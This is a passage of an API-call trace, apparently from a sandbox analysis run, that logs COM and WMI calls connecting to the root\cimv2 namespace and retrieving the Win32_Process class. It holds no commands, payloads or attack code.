[7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c868 | out: ppv=0x1b30c868*=0x1b4abc50) returned 0x0 [0108.141] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4abc50, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c950 | out: ppvObject=0x1b30c950*=0x0) returned 0x80004002 [0108.141] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4abc50, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c928 | out: ppvObject=0x1b30c928*=0x656ff0) returned 0x0 [0108.141] WbemDefPath:IUnknown:Release (This=0x1b4abc50) returned 0x0 [0108.141] WbemDefPath:IUnknown:QueryInterface (in: This=0x656ff0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6d0 | out: ppvObject=0x1b30c6d0*=0x656ff0) returned 0x0 [0108.141] WbemDefPath:IUnknown:QueryInterface (in: This=0x656ff0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c760 | out: ppvObject=0x1b30c760*=0x0) returned 0x80004002 [0108.141] WbemDefPath:IUnknown:QueryInterface (in: This=0x656ff0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bf58 | out: ppvObject=0x1b30bf58*=0x0) returned 0x80004002 [0108.141] WbemDefPath:IUnknown:AddRef (This=0x656ff0) returned 0x3 [0108.142] WbemDefPath:IUnknown:QueryInterface (in: This=0x656ff0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30be18 | out: ppvObject=0x1b30be18*=0x0) returned 0x80004002 [0108.142] WbemDefPath:IUnknown:QueryInterface (in: This=0x656ff0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bda0 | out: ppvObject=0x1b30bda0*=0x0) returned 0x80004002 [0108.142] WbemDefPath:IUnknown:QueryInterface (in: This=0x656ff0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd90 | out: ppvObject=0x1b30bd90*=0x1b4ab930) returned 0x0 [0108.142] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4ab930, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bdb8 | out: pCid=0x1b30bdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0108.142] WbemDefPath:IUnknown:Release (This=0x1b4ab930) returned 0x3 [0108.142] CoGetContextToken (in: pToken=0x1b30be40 | out: pToken=0x1b30be40) returned 0x0 [0108.142] CoGetContextToken (in: pToken=0x1b30c2c0 | out: pToken=0x1b30c2c0) returned 0x0 [0108.142] WbemDefPath:IUnknown:QueryInterface (in: This=0x656ff0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c380 | out: ppvObject=0x1b30c380*=0x0) returned 0x80004002 [0108.142] WbemDefPath:IUnknown:Release (This=0x656ff0) returned 0x2 [0108.142] WbemDefPath:IUnknown:Release (This=0x656ff0) returned 0x1 [0108.142] CoGetContextToken (in: pToken=0x1b30d0b0 | out: pToken=0x1b30d0b0) returned 0x0 [0108.142] CoGetContextToken (in: pToken=0x1b30cfb0 | out: pToken=0x1b30cfb0) returned 0x0 [0108.142] WbemDefPath:IUnknown:QueryInterface (in: This=0x656ff0, riid=0x1b30d110*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d0e0 | out: ppvObject=0x1b30d0e0*=0x656ff0) returned 0x0 [0108.142] WbemDefPath:IUnknown:AddRef (This=0x656ff0) returned 0x3 [0108.142] WbemDefPath:IUnknown:Release (This=0x656ff0) returned 0x2 [0108.142] WbemDefPath:IWbemPath:SetText (This=0x656ff0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0108.142] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656ff0, puCount=0x1b30d498 | out: puCount=0x1b30d498*=0x2) returned 0x0 [0108.142] WbemDefPath:IWbemPath:GetText (in: This=0x656ff0, lFlags=4, puBuffLength=0x1b30d490*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d490*=0xf, pszText=0x0) returned 0x0 [0108.142] WbemDefPath:IWbemPath:GetText (in: This=0x656ff0, lFlags=4, puBuffLength=0x1b30d490*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d490*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0108.142] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d508 | out: ppv=0x1b30d508*=0x6124e8) returned 0x0 [0108.142] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4f8 | out: pAptType=0x1b30d4f8*=1) returned 0x0 [0108.142] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d500 | out: ppvObject=0x1b30d500*=0x0) returned 0x80004002 [0108.142] IUnknown:Release (This=0x6124e8) returned 0x1 [0108.143] CoGetClassObject (in: rclsid=0x1b440e38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30cbc8 | out: ppv=0x1b30cbc8*=0x1b4ac010) returned 0x0 [0108.143] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ac010, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30ccb0 | out: ppvObject=0x1b30ccb0*=0x0) returned 0x80004002 [0108.143] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b4ac010, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cc88 | out: ppvObject=0x1b30cc88*=0x1b4ab9d0) returned 0x0 [0108.143] WbemLocator:IUnknown:Release (This=0x1b4ac010) returned 0x0 [0108.143] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ab9d0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ca30 | out: ppvObject=0x1b30ca30*=0x1b4ab9d0) returned 0x0 [0108.143] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ab9d0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cac0 | out: ppvObject=0x1b30cac0*=0x0) returned 0x80004002 [0108.143] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ab9d0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c2b8 | out: ppvObject=0x1b30c2b8*=0x0) returned 0x80004002 [0108.143] WbemLocator:IUnknown:AddRef (This=0x1b4ab9d0) returned 0x3 [0108.143] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ab9d0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c178 | out: ppvObject=0x1b30c178*=0x0) returned 0x80004002 [0108.143] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ab9d0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c100 | out: ppvObject=0x1b30c100*=0x0) returned 0x80004002 [0108.143] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ab9d0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c0f0 | out: ppvObject=0x1b30c0f0*=0x0) returned 0x80004002 [0108.143] CoGetContextToken (in: pToken=0x1b30c1a0 | out: pToken=0x1b30c1a0) returned 0x0 [0108.143] CoGetContextToken (in: pToken=0x1b30c620 | out: pToken=0x1b30c620) returned 0x0 [0108.143] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ab9d0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6e0 | out: ppvObject=0x1b30c6e0*=0x0) returned 0x80004002 [0108.143] WbemLocator:IUnknown:Release (This=0x1b4ab9d0) returned 0x2 [0108.144] WbemLocator:IUnknown:Release (This=0x1b4ab9d0) returned 0x1 [0108.144] CoGetContextToken (in: pToken=0x1b30d060 | out: pToken=0x1b30d060) returned 0x0 [0108.144] CoGetContextToken (in: pToken=0x1b30cf60 | out: pToken=0x1b30cf60) returned 0x0 [0108.144] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ab9d0, riid=0x1b30d0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b30d090 | out: ppvObject=0x1b30d090*=0x1b4ab9d0) returned 0x0 [0108.144] WbemLocator:IUnknown:AddRef (This=0x1b4ab9d0) returned 0x3 [0108.144] WbemLocator:IUnknown:Release (This=0x1b4ab9d0) returned 0x2 [0108.144] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656ff0, puCount=0x1b30d498 | out: puCount=0x1b30d498*=0x2) returned 0x0 [0108.144] WbemDefPath:IWbemPath:GetText (in: This=0x656ff0, lFlags=8, puBuffLength=0x1b30d490*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d490*=0xf, pszText=0x0) returned 0x0 [0108.144] WbemDefPath:IWbemPath:GetText (in: This=0x656ff0, lFlags=8, puBuffLength=0x1b30d490*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d490*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0108.144] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b30d100 | out: ppv=0x1b30d100*=0x1b4abfd0) returned 0x0 [0108.144] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b4abfd0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b30d348 | out: ppNamespace=0x1b30d348*=0x1b4b3860) returned 0x0 [0108.233] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4b3860, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf78 | out: ppvObject=0x1b30cf78*=0x1b4adcb0) returned 0x0 [0108.234] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b4adcb0, pProxy=0x1b4b3860, pAuthnSvc=0x1b30d040, pAuthzSvc=0x1b30cfc0, pServerPrincName=0x1b30cfe8, pAuthnLevel=0x1b30cfc4, pImpLevel=0x1b30cfd0, pAuthInfo=0x1b30cff8, pCapabilites=0x1b30cfd4 | out: pAuthnSvc=0x1b30d040*=0xa, pAuthzSvc=0x1b30cfc0*=0x0, pServerPrincName=0x1b30cfe8, pAuthnLevel=0x1b30cfc4*=0x6, pImpLevel=0x1b30cfd0*=0x2, pAuthInfo=0x1b30cff8, pCapabilites=0x1b30cfd4*=0x1) returned 0x0 [0108.234] WbemLocator:IUnknown:Release (This=0x1b4adcb0) returned 0x1 [0108.234] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4b3860, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf10 | out: ppvObject=0x1b30cf10*=0x1b4adcf8) returned 0x0 [0108.234] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4b3860, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf20 | out: ppvObject=0x1b30cf20*=0x1b4adcb0) returned 0x0 [0108.234] WbemLocator:IClientSecurity:SetBlanket (This=0x1b4adcb0, pProxy=0x1b4b3860, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0108.234] WbemLocator:IUnknown:Release (This=0x1b4adcb0) returned 0x2 [0108.234] WbemLocator:IUnknown:Release (This=0x1b4adcf8) returned 0x1 [0108.234] CoTaskMemFree (pv=0x1b460f80) [0108.234] WbemLocator:IUnknown:Release (This=0x1b4abfd0) returned 0x0 [0108.234] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4b3860, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ca10 | out: ppvObject=0x1b30ca10*=0x1b4adcf8) returned 0x0 [0108.234] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4adcf8, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30caa0 | out: ppvObject=0x1b30caa0*=0x0) returned 0x80004002 [0108.235] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4adcf8, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c6c0 | out: ppvObject=0x1b30c6c0*=0x0) returned 0x80004002 [0108.235] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4b3860, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c298 | out: ppvObject=0x1b30c298*=0x0) returned 0x80004002 [0108.236] WbemLocator:IUnknown:AddRef (This=0x1b4adcf8) returned 0x3 [0108.236] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4adcf8, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c158 | out: ppvObject=0x1b30c158*=0x0) returned 0x80004002 [0108.236] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4adcf8, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c0e0 | out: ppvObject=0x1b30c0e0*=0x0) returned 0x80004002 [0108.236] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4adcf8, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c0d0 | out: ppvObject=0x1b30c0d0*=0x1b4adbd8) returned 0x0 [0108.236] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b4adbd8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c0f8 | out: pCid=0x1b30c0f8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0108.236] WbemLocator:IUnknown:Release (This=0x1b4adbd8) returned 0x3 [0108.236] CoGetContextToken (in: pToken=0x1b30c180 | out: pToken=0x1b30c180) returned 0x0 [0108.236] CoGetContextToken (in: pToken=0x1b30c600 | out: pToken=0x1b30c600) returned 0x0 [0108.236] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4adcf8, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6c0 | out: ppvObject=0x1b30c6c0*=0x1b4adcc0) returned 0x0 [0108.236] WbemLocator:IRpcOptions:Query (in: This=0x1b4adcc0, pPrx=0x1b4adcf8, dwProperty=2, pdwValue=0x1b30c6b0 | out: pdwValue=0x1b30c6b0) returned 0x80004002 [0108.236] WbemLocator:IUnknown:Release (This=0x1b4adcc0) returned 0x3 [0108.236] WbemLocator:IUnknown:Release (This=0x1b4adcf8) returned 0x2 [0108.236] CoGetContextToken (in: pToken=0x1b30ccc0 | out: pToken=0x1b30ccc0) returned 0x0 [0108.236] CoGetContextToken (in: pToken=0x1b30cbc0 | out: pToken=0x1b30cbc0) returned 0x0 [0108.236] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4adcf8, riid=0x1b30cd20*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b30ccf0 | out: ppvObject=0x1b30ccf0*=0x1b4b3860) returned 0x0 [0108.236] WbemLocator:IUnknown:AddRef (This=0x1b4b3860) returned 0x4 [0108.236] WbemLocator:IUnknown:Release (This=0x1b4b3860) returned 0x3 [0108.236] WbemLocator:IUnknown:Release (This=0x1b4b3860) returned 0x2 [0108.237] SysStringLen (param_1=0x0) returned 0x0 [0108.237] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656ff0, puCount=0x1b30d4d8 | out: puCount=0x1b30d4d8*=0x2) returned 0x0 [0108.237] WbemDefPath:IWbemPath:GetText (in: This=0x656ff0, lFlags=4, puBuffLength=0x1b30d4d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4d0*=0xf, pszText=0x0) returned 0x0 [0108.237] WbemDefPath:IWbemPath:GetText (in: This=0x656ff0, lFlags=4, puBuffLength=0x1b30d4d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d4d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0108.237] CoGetContextToken (in: pToken=0x1b30cde0 | out: pToken=0x1b30cde0) returned 0x0 [0108.237] WbemLocator:IUnknown:AddRef (This=0x1b4adcf8) returned 0x3 [0108.237] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4adcf8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cde0 | out: ppvObject=0x1b30cde0*=0x1b4adcf8) returned 0x0 [0108.237] WbemLocator:IUnknown:Release (This=0x1b4adcf8) returned 0x3 [0108.237] WbemLocator:IUnknown:Release (This=0x1b4adcf8) returned 0x2 [0108.237] WbemDefPath:IWbemPath:GetText (in: This=0x655d30, lFlags=2, puBuffLength=0x1b30d4e0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4e0*=0xe, pszText=0x0) returned 0x0 [0108.237] WbemDefPath:IWbemPath:GetText (in: This=0x655d30, lFlags=2, puBuffLength=0x1b30d4e0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d4e0*=0xe, pszText="Win32_Process") returned 0x0 [0108.237] IWbemServices:GetObject (in: This=0x1b4b3860, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b30d460*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d460*=0x1b4ae630, ppCallResult=0x0) returned 0x0 [0108.241] IWbemClassObject:Get (in: This=0x1b4ae630, wszName="__PATH", lFlags=0, pVal=0x1b30d3f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d558*=0, plFlavor=0x1b30d550*=0 | out: pVal=0x1b30d3f0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b30d558*=8, plFlavor=0x1b30d550*=64) returned 0x0 [0108.241] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0108.241] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0108.241] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d428 | out: ppv=0x1b30d428*=0x6124e8) returned 0x0 [0108.241] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d418 | out: pAptType=0x1b30d418*=1) returned 0x0 [0108.241] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d420 | out: ppvObject=0x1b30d420*=0x0) returned 0x80004002 [0108.241] IUnknown:Release (This=0x6124e8) returned 0x1 [0108.242] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c818 | out: ppv=0x1b30c818*=0x1b4ab990) returned 0x0 [0108.242] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4ab990, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c900 | out: ppvObject=0x1b30c900*=0x0) returned 0x80004002 [0108.242] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4ab990, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8d8 | out: ppvObject=0x1b30c8d8*=0x5a2d60) returned 0x0 [0108.242] WbemDefPath:IUnknown:Release (This=0x1b4ab990) returned 0x0 [0108.242] WbemDefPath:IUnknown:QueryInterface (in: This=0x5a2d60, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c680 | out: ppvObject=0x1b30c680*=0x5a2d60) returned 0x0 [0108.242] WbemDefPath:IUnknown:QueryInterface (in: This=0x5a2d60, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c710 | out: ppvObject=0x1b30c710*=0x0) returned 0x80004002 [0108.242] WbemDefPath:IUnknown:QueryInterface (in: This=0x5a2d60, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bf08 | out: 